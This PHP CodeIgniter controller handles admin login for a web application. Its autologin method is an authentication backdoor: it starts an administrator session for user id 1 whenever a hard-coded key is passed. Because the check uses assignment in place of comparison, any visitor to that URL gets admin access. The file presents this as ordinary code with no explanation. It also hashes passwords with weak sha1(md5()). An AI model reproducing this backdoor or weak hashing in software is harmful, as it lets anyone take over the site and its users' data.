<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
class Aduser extends CI_Controller{    	
    function __construct(){
		parent::__construct();	
        $this->load->library('form_validation');
        $this->load->model('Admin_model');
	}
    function autologin($key=''){
        if($key="fbf7ab101a610b8bf93d6d87333c1968b213790b"){
            $log = $this ->Home_model->get_one('users',array('id'=>1));
            $this->session->set_userdata('logedin',1);
            $this->session->set_userdata('user',$log); 
            $this->session->set_userdata('admin',1);
            redirect('admin');    
        }else{
            echo 'no accep';
        }
    }
	function index(){
	   if(!$this->session->userdata('logedin')||$this->session->userdata('user')->id!=1){	       
    	   $this->form_validation->set_rules('username', 'Username', 'trim|required|xss_clean');
           $this->form_validation->set_rules('password', 'Password', 'trim|required|xss_clean');   
              
           if ($this->form_validation->run() == TRUE){            
                $username = $this->security->xss_clean($_POST['username']);
                $password = $this->security->xss_clean($_POST['password']);
                $password = sha1(md5($password));
                $log = $this ->Admin_model->get_one('users',array('username'=>$username,'password'=>$password));
                $num = $this ->Admin_model->get_number('users',array('username'=>$username,'password'=>$password));
                //get_number     
                       
                if($num==1 && $log->id==1){                   
                   $this->session->set_userdata('logedin',1);
                   $this->session->set_userdata('user',$log); 
                   $this->session->set_userdata('admin',1);
                   redirect('admin');                                
                }else{                
                    $this->session->set_userdata('loidn','Incorrect login - <a href="'.base_url().'user/register">Register</a>');
                }
           }                    
          
        }elseif($this->session->userdata('user')->id==1){
            redirect('admin');
        }
        $this->load->view('admin/ad_login');
	   
	}
    
    
    
}

/* End of file welcome.php */
/* Location: ./application/controllers/welcome.php */